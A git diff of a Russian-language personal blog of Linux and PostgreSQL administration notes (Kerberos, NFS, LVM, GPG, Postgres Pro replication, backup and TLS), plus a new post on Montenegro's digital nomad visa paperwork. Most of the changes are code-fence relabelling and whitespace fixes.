||||||
|
|
||||||
### Правка файла hosts
|
### Правка файла hosts
|
||||||
|
|
||||||
Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там.
|
Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там.
|
||||||
```config
|
```python
|
||||||
<server-ip> <server-name.domain.name> <server-name>
|
<server-ip> <server-name.domain.name> <server-name>
|
||||||
<client-ip> <client-name.domain.name> <client-name>
|
<client-ip> <client-name.domain.name> <client-name>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Редактирование конфига Kerberos
|
### Редактирование конфига Kerberos
|
||||||
|
|
||||||
В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc:
|
В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc:
|
||||||
```config
|
```python
|
||||||
[libdefaults]
|
[libdefaults]
|
||||||
default_realm = <DOMAIN.NAME>
|
default_realm = <DOMAIN.NAME>
|
||||||
|
|
||||||
@ -55,11 +61,13 @@ hostnamectl set-hostname <hostname>
|
|||||||
## Создание нового реалма (на сервере)
|
## Создание нового реалма (на сервере)
|
||||||
|
|
||||||
### Создание master key для БД krb5
|
### Создание master key для БД krb5
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
krb5_newrealm
|
krb5_newrealm
|
||||||
```
|
```
|
||||||
|
|
||||||
### Создание учётной записи администратора
|
### Создание учётной записи администратора
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
kadmin.local
|
kadmin.local
|
||||||
addprinc <admin-name>/admin
|
addprinc <admin-name>/admin
|
||||||
@ -69,7 +77,7 @@ quit
|
|||||||
### Разрешение административных прав
|
### Разрешение административных прав
|
||||||
Добавляем администратора в `/etc/krb5kdc/kadm5.acl`:
|
Добавляем администратора в `/etc/krb5kdc/kadm5.acl`:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
<admin-name>/admin
|
<admin-name>/admin
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -13,6 +13,7 @@ nameserver <dns-server>
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Статика
|
## Статика
|
||||||
|
|
||||||
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
@ -24,6 +25,7 @@ iface <interface> inet static
|
|||||||
```
|
```
|
||||||
|
|
||||||
## DHCP
|
## DHCP
|
||||||
|
|
||||||
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
|
@ -7,36 +7,42 @@ tags: [linux, nfs]
|
|||||||
## Настройка NFS-сервера
|
## Настройка NFS-сервера
|
||||||
|
|
||||||
### Установка пакета
|
### Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install nfs-kernel-server
|
apt -y install nfs-kernel-server
|
||||||
```
|
```
|
||||||
|
|
||||||
### Создание каталога, который будет расшарен
|
### Создание каталога, который будет расшарен
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
mkdir /nfs
|
mkdir /nfs
|
||||||
chmod 777 /nfs
|
chmod 777 /nfs
|
||||||
```
|
```
|
||||||
|
|
||||||
### Разрешение сетевого доступа
|
### Разрешение сетевого доступа
|
||||||
|
|
||||||
В файл `/etc/exports` необходимо добавить следующую строку:
|
В файл `/etc/exports` необходимо добавить следующую строку:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
|
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Настройка NFS-клиента
|
## Настройка NFS-клиента
|
||||||
|
|
||||||
### Установка пакета
|
### Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install nfs-common
|
apt -y install nfs-common
|
||||||
```
|
```
|
||||||
|
|
||||||
### Запуск службы
|
### Запуск службы
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
systemctl enable --now rpcbind
|
systemctl enable --now rpcbind
|
||||||
```
|
```
|
||||||
|
|
||||||
### Автомонитрование
|
### Автомонитрование
|
||||||
|
|
||||||
В файл `/etc/fstab` необходимо добавить следующую строку:
|
В файл `/etc/fstab` необходимо добавить следующую строку:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
|
@ -7,16 +7,19 @@ tags: [linux]
|
|||||||
## Распаковка пакета
|
## Распаковка пакета
|
||||||
|
|
||||||
### Распаковка данных
|
### Распаковка данных
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -x "<package>.deb" <folder>
|
dpkg -x "<package>.deb" <folder>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Распаковка метаданных
|
### Распаковка метаданных
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -e "<package>.deb" <folder>/DEBIAN
|
dpkg -e "<package>.deb" <folder>/DEBIAN
|
||||||
```
|
```
|
||||||
|
|
||||||
## Сборка пакета
|
## Сборка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -b <folder> "<package>.deb"
|
dpkg -b <folder> "<package>.deb"
|
||||||
```
|
```
|
||||||
|
@ -4,12 +4,15 @@ description: Базовые команды
|
|||||||
date: 2022-11-25T13:58:10+05:00
|
date: 2022-11-25T13:58:10+05:00
|
||||||
tags: [linux, lvm]
|
tags: [linux, lvm]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Установка пакекта
|
## Установка пакекта
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install lvm2
|
apt -y install lvm2
|
||||||
```
|
```
|
||||||
|
|
||||||
## Создание
|
## Создание
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
pvcreate /dev/sda
|
pvcreate /dev/sda
|
||||||
vgcreate vg-name /dev/sda
|
vgcreate vg-name /dev/sda
|
||||||
@ -17,6 +20,7 @@ lvcreate -L 10G -n lv-name vg-name
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Изменение
|
## Изменение
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
vgextend vg /dev/sdb
|
vgextend vg /dev/sdb
|
||||||
lvresize -rL +1G /dev/vg-name/lv-name
|
lvresize -rL +1G /dev/vg-name/lv-name
|
||||||
@ -24,6 +28,7 @@ lvresize -rl +100%FREE /dev/vg-name/lv-name
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Просмотр
|
## Просмотр
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
pvs
|
pvs
|
||||||
vgs
|
vgs
|
||||||
|
26
content/posts/mariadb-installation.md
Normal file
26
content/posts/mariadb-installation.md
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
---
|
||||||
|
title: Установка и конфигурация MariaDB
|
||||||
|
description: На debian-based дистрибутивы
|
||||||
|
date: 2024-01-26T16:30:00+06:00
|
||||||
|
tags: [linux, mysql]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Установка MariaDB
|
||||||
|
```shell
|
||||||
|
apt install mariadb-server
|
||||||
|
```
|
||||||
|
|
||||||
|
## Security конфигурация
|
||||||
|
```shell
|
||||||
|
mysql_secure_installation
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание БД и пользователя
|
||||||
|
Для того, чтобы можно было подключиться удалённо, необходимо заменить `localhost` на `*`.
|
||||||
|
```mysql
|
||||||
|
mysql
|
||||||
|
create database <database>;
|
||||||
|
grant all privileges on <database>.* TO '<username>'@'localhost' identified by '<password>';
|
||||||
|
flush privileges;
|
||||||
|
exit
|
||||||
|
```
|
32
content/posts/montenegro-dn.md
Normal file
32
content/posts/montenegro-dn.md
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
---
|
||||||
|
title: Виза цифрового кочевника Черногории
|
||||||
|
description: Општина Бар
|
||||||
|
date: 2024-07-31T09:50:00+02:00
|
||||||
|
tags: [digital nomad]
|
||||||
|
---
|
||||||
|
## Введение
|
||||||
|
|
||||||
|
В первый день приезда надо оплатить туристический налог в [туристичке](https://maps.app.goo.gl/D1nwbWVTNkySauZR6),
|
||||||
|
купить местные симки в [mtel](https://maps.app.goo.gl/MsnfLeB6FtW3CBr99) или [tcom](https://maps.app.goo.gl/i1CjHNiAa3kqbbhm8).
|
||||||
|
Все документы должны быть оригиналами с мокрой печатью. Документы из РФ апостилирования не требуют. Иноязычные документы должны быть с переводом судебного переводчика,
|
||||||
|
я рекомендую [Майю Джонович](https://wa.me/38268521593) (доставляет курьером из Подгорицы, переводит с английского и русского).
|
||||||
|
Подача документов происходит в [МУП'е](https://maps.app.goo.gl/cmf2YCaiJ9vyjHrT7) - туда нельзя в шлёпках, шортах и майке. Документы для подачи действительны 6 месяцев.
|
||||||
|
|
||||||
|
## Документы
|
||||||
|
|
||||||
|
1. Скан первой страницы паспорта;
|
||||||
|
2. Справка о несудимости (из МВД/Консульства страны гражданства);
|
||||||
|
3. Нотариальный договор аренды квартиры на 2 года;
|
||||||
|
4. Лист непокретности;
|
||||||
|
5. Квитки из туристички и об оплате пошлины (60+5+2). Пошлину платить на почте в здании МУП'а;
|
||||||
|
6. Местная медицинская страхова на 2 года (например, [Sava](https://maps.app.goo.gl/PcMrE9E3oDLkPqxj9));
|
||||||
|
7. Контракт с указанием места работы Бар, Черногория и сроком 2+ года (допники не принимают!);
|
||||||
|
8. Выписка о существовании компании. В России - это выписка из ЕГРЮЛ (без апостиля), а на Кипре - Сertificate of incorporation (с апостилем);
|
||||||
|
9. Выписка из банка об остатке на счёте в эквиваленте в евро (нужно больше 16200 евро);
|
||||||
|
10. Справка с работы, где указаны место работы Черногория, Бар, паспортные данные, должность, срок окончания контракта (2+ года) и выплаты зарплаты по месяцам.
|
||||||
|
|
||||||
|
## Очереди
|
||||||
|
По поводу очередей: в первый раз я управился с пошлинами на почте и очередью в самом МУП'е за ~30 минут, во второй раз это заняло более 3 часов.
|
||||||
|
|
||||||
|
## Важно
|
||||||
|
Информация актуальна на 31 июля 2024 года и для города Бар. В других општинах немного другие требования - вы можете посмотреть кейсы [здесь](https://t.me/DN_Montenegro).
|
@ -6,24 +6,24 @@ tags: [linux, tls]
|
|||||||
---
|
---
|
||||||
## Извлечение сертификата и ключа
|
## Извлечение сертификата и ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
|
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
|
||||||
```
|
```
|
||||||
|
|
||||||
## Извлечение сертификата
|
## Извлечение сертификата
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
|
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
## Извлечение ключа
|
## Извлечение ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key
|
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key
|
||||||
```
|
```
|
||||||
|
|
||||||
## Обеспароливание ключа
|
## Обеспароливание ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl rsa -in <key>.tmp.key -out <key>.key
|
openssl rsa -in <key>.tmp.key -out <key>.key
|
||||||
```
|
```
|
||||||
|
28
content/posts/pgp-commands.md
Normal file
28
content/posts/pgp-commands.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
---
|
||||||
|
title: Памятка по PGP/GPG
|
||||||
|
description: gnupg - export, import and renew
|
||||||
|
date: 2025-01-12T22:00:00+01:00
|
||||||
|
tags: [linux, pgp]
|
||||||
|
---
|
||||||
|
## Экспорт
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gpg -a --export-secret-keys > private.asc
|
||||||
|
gpg --export-ownertrust > trust.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Импорт
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gpg --import private.asc
|
||||||
|
gpg --import public.asc
|
||||||
|
gpg --import-ownertrust trust.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Продление
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gpg --list-keys
|
||||||
|
gpg --quick-set-expire <fingerprint> 1y '*'
|
||||||
|
gpg --export <your@ema.il> | curl -T - https://keys.openpgp.org
|
||||||
|
```
|
@ -5,30 +5,32 @@ date: 2023-03-03T13:26:00+05:00
|
|||||||
tags: [linux, postgres]
|
tags: [linux, postgres]
|
||||||
---
|
---
|
||||||
## На старой версии (<=12)
|
## На старой версии (<=12)
|
||||||
|
|
||||||
Заходим в консоль Postgres:
|
Заходим в консоль Postgres:
|
||||||
```shell
|
```bash
|
||||||
psql
|
psql
|
||||||
```
|
```
|
||||||
|
|
||||||
Убиваем соединения с БД:
|
Убиваем соединения с БД:
|
||||||
```psql
|
```sql
|
||||||
SELECT pg_terminate_backend (pid)
|
SELECT pg_terminate_backend (pid)
|
||||||
FROM pg_stat_activity
|
FROM pg_stat_activity
|
||||||
WHERE pg_stat_activity.datname = '<database_name>';
|
WHERE pg_stat_activity.datname = '<database_name>';
|
||||||
```
|
```
|
||||||
|
|
||||||
Дропаем БД:
|
Дропаем БД:
|
||||||
```shell
|
```sql
|
||||||
DROP DATABASE <database_name>;
|
DROP DATABASE <database_name>;
|
||||||
```
|
```
|
||||||
|
|
||||||
## На новой версии (>=13)
|
## На новой версии (>=13)
|
||||||
|
|
||||||
Заходим в консоль Postgres:
|
Заходим в консоль Postgres:
|
||||||
```shell
|
```bash
|
||||||
psql
|
psql
|
||||||
```
|
```
|
||||||
|
|
||||||
Дропаем БД:
|
Дропаем БД:
|
||||||
```psql
|
```sql
|
||||||
DROP DATABASE <database_name> WITH (FORCE);
|
DROP DATABASE <database_name> WITH (FORCE);
|
||||||
```
|
```
|
||||||
|
@ -47,7 +47,7 @@ q
|
|||||||
### Изменение конфигруационного файла Postgres Pro
|
### Изменение конфигруационного файла Postgres Pro
|
||||||
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
krb_server_keyfile = 'postgres.keytab'
|
krb_server_keyfile = 'postgres.keytab'
|
||||||
listen_addresses = 'localhost, <pg-ip>'
|
listen_addresses = 'localhost, <pg-ip>'
|
||||||
```
|
```
|
||||||
@ -55,7 +55,7 @@ listen_addresses = 'localhost, <pg-ip>'
|
|||||||
### Разрешение подключения
|
### Разрешение подключения
|
||||||
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
hostgssenc all postgres localhost/32 gss include_realm=0
|
hostgssenc all postgres localhost/32 gss include_realm=0
|
||||||
hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
|
hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
|
||||||
```
|
```
|
||||||
|
@ -10,42 +10,47 @@ AD необходимо дать роль CA и выпустить сертиф
|
|||||||
## Перенос сертификата
|
## Перенос сертификата
|
||||||
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
|
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
|
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
## Установка пакета ldap-utils
|
## Установка пакета ldap-utils
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt install ldap-utils -y
|
apt install ldap-utils -y
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка ldap конфига
|
## Правка ldap конфига
|
||||||
|
|
||||||
В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки:
|
В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
TLS_CACERT /etc/ldap/<ad>.pem
|
TLS_CACERT /etc/ldap/<ad>.pem
|
||||||
BASE dc=<domain>,dc=<local>
|
BASE dc=<domain>,dc=<local>
|
||||||
URI ldaps://<dc>.<domain>.<local>:636
|
URI ldaps://<dc>.<domain>.<local>:636
|
||||||
```
|
```
|
||||||
|
|
||||||
## Проверка ldap
|
## Проверка ldap
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
|
ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка pg_hba.conf
|
## Правка pg_hba.conf
|
||||||
|
|
||||||
С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
|
С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
|
||||||
```config
|
```python
|
||||||
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
|
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Создание пользователя в Postgres
|
## Создание пользователя в Postgres
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
psql -c "CREATE USER <domain-user>;"
|
psql -c "CREATE USER <domain-user>;"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск Postgres Pro
|
## Перезапуск Postgres Pro
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
systemctl restart postgres*
|
systemctl restart postgres*
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@ date: 2022-11-25T16:20:00+05:00
|
|||||||
tags: [linux, astra, postgres]
|
tags: [linux, astra, postgres]
|
||||||
---
|
---
|
||||||
## Добавление репозитория
|
## Добавление репозитория
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
apt -y install gnupg
|
apt -y install gnupg
|
||||||
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
|
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
|
||||||
@ -12,23 +13,27 @@ echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Установка пакета
|
## Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt update
|
apt update
|
||||||
apt -y install postgrespro-std-14
|
apt -y install postgrespro-std-14
|
||||||
```
|
```
|
||||||
|
|
||||||
## systemd
|
## systemd
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
/opt/pgpro/std-14/bin/pg-setup service enable --now
|
/opt/pgpro/std-14/bin/pg-setup service enable --now
|
||||||
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
|
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
|
||||||
```
|
```
|
||||||
|
|
||||||
## Обновление путей
|
## Обновление путей
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
/opt/pgpro/std-14/bin/pg-wrapper links update
|
/opt/pgpro/std-14/bin/pg-wrapper links update
|
||||||
```
|
```
|
||||||
|
|
||||||
## Смена пароля postgres
|
## Смена пароля postgres
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
su - postgres
|
su - postgres
|
||||||
psql -c "ALTER USER postgres PASSWORD '<password>';"
|
psql -c "ALTER USER postgres PASSWORD '<password>';"
|
||||||
|
@ -4,6 +4,7 @@ description: Потоковая репликация и репликация с
|
|||||||
date: 2022-11-25T16:51:00+05:00
|
date: 2022-11-25T16:51:00+05:00
|
||||||
tags: [linux, postgres, nfs]
|
tags: [linux, postgres, nfs]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Установка Postgres Pro
|
## Установка Postgres Pro
|
||||||
Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se).
|
Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se).
|
||||||
|
|
||||||
@ -11,27 +12,27 @@ tags: [linux, postgres, nfs]
|
|||||||
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
|
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
|
||||||
|
|
||||||
### Конфигурация master
|
### Конфигурация master
|
||||||
Действия с Postgres Pro следует выполнять от имени пользователя postgres.
|
|
||||||
```shell
|
|
||||||
su - postgres
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Создание пользователя для репликации
|
#### Создание пользователя для репликации
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
|
su - postgres
|
||||||
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
|
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Разрешение подключения для slave
|
#### Разрешение подключения для slave
|
||||||
|
|
||||||
Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`:
|
Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
host replication repuser <slave-ip>/32 md5
|
host replication repuser <slave-ip>/32 md5
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Реконфигурация
|
#### Реконфигурация
|
||||||
В файл `/var/lib/pgpro/std-13/data/postgresql.conf` необходимо добавить следующие строки:
|
|
||||||
|
|
||||||
```config
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
|
```python
|
||||||
listen_addresses = 'localhost, <master-ip>'
|
listen_addresses = 'localhost, <master-ip>'
|
||||||
wal_level = hot_standby
|
wal_level = hot_standby
|
||||||
archive_mode = on
|
archive_mode = on
|
||||||
@ -54,26 +55,30 @@ pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D /var/lib/pgp
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Репликация с архивом
|
## Репликация с архивом
|
||||||
|
|
||||||
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
|
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
|
||||||
|
|
||||||
### Развёртывание NFS
|
### Развёртывание NFS
|
||||||
|
|
||||||
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs).
|
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs).
|
||||||
Необходимо смонтировать NFS на master и slave в одинаковые директории.
|
Необходимо смонтировать NFS на master и slave в одинаковые директории.
|
||||||
|
|
||||||
### Дополнение к реконфигурации
|
### Дополнение к реконфигурации
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f'
|
archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f'
|
||||||
archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
|
archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
|
||||||
```
|
```
|
||||||
|
|
||||||
## Синхронный и асинхронный режим репликации
|
## Синхронный и асинхронный режим репликации
|
||||||
|
|
||||||
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
|
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
|
||||||
По умолчанию репликация работает в асинхронном режиме.
|
По умолчанию репликация работает в асинхронном режиме.
|
||||||
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`:
|
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
synchronous_commit = on
|
synchronous_commit = on
|
||||||
synchronous_standby_names = 'pgsql_0_node_0'
|
synchronous_standby_names = 'pgsql_0_node_0'
|
||||||
```
|
```
|
||||||
|
@ -5,8 +5,9 @@ date: 2022-12-14T16:48:00+05:00
|
|||||||
tags: [linux, postgres]
|
tags: [linux, postgres]
|
||||||
---
|
---
|
||||||
## Скрипт для бэкапа БД и глобальных объектов
|
## Скрипт для бэкапа БД и глобальных объектов
|
||||||
|
|
||||||
В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки:
|
В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки:
|
||||||
```config
|
```python
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump
|
pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump
|
||||||
@ -14,13 +15,15 @@ pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d'
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Файл cron с запуском скрипта (каждый день в 2:00)
|
## Файл cron с запуском скрипта (каждый день в 2:00)
|
||||||
|
|
||||||
Необходимо дописать в конец `crontab -e -u <username>` следующие строки:
|
Необходимо дописать в конец `crontab -e -u <username>` следующие строки:
|
||||||
```config
|
```python
|
||||||
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
|
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
## Рестор файлов БД и глобальных объектов
|
## Рестор файлов БД и глобальных объектов
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
pg_restore -C -d postgres <dbname>-<date>.dump
|
pg_restore -C -d postgres <dbname>-<date>.dump
|
||||||
psql -U postgres < gb-<date>.dump
|
psql -U postgres < gb-<date>.dump
|
||||||
```
|
```
|
||||||
|
@ -5,15 +5,17 @@ date: 2022-11-28T20:25:00+05:00
|
|||||||
tags: [linux, postgres, tls]
|
tags: [linux, postgres, tls]
|
||||||
---
|
---
|
||||||
## Создание сертификата
|
## Создание сертификата
|
||||||
|
|
||||||
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
|
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
|
||||||
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
|
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
|
||||||
```shell
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
|
openssl req -x509 -newkey rsa:4096 -nodes -keyout <key>.key -out <cert>.pem -sha256 -days 365
|
||||||
```
|
```
|
||||||
|
|
||||||
## Включение TLS
|
## Включение TLS
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
```config
|
```python
|
||||||
ssl = on
|
ssl = on
|
||||||
ssl_cert_file = '<cert>.pem'
|
ssl_cert_file = '<cert>.pem'
|
||||||
ssl_key_file = '<key>.pem'
|
ssl_key_file = '<key>.pem'
|
||||||
@ -21,12 +23,14 @@ listen_addresses = 'localhost, <master-ip>'
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Разрешение доступа через TLS
|
## Разрешение доступа через TLS
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
||||||
```config
|
```python
|
||||||
hostssl <user> <database> <client-ip> scram-sha-256
|
hostssl <user> <database> <client-ip> scram-sha-256
|
||||||
```
|
```
|
||||||
|
|
||||||
## (ре)Генерация пароля
|
## (ре)Генерация пароля
|
||||||
|
|
||||||
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
|
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
|
||||||
```shell
|
```shell
|
||||||
psql -c \password
|
psql -c \password
|
||||||
|
@ -6,7 +6,7 @@ tags: [linux, postgres]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Листинг запущенных экземпляров PostgreSQL
|
## Листинг запущенных экземпляров PostgreSQL
|
||||||
```shell
|
```bash
|
||||||
pg_lsclusters
|
pg_lsclusters
|
||||||
```
|
```
|
||||||
|
|
||||||
|
20
content/posts/psql-to-csv.md
Normal file
20
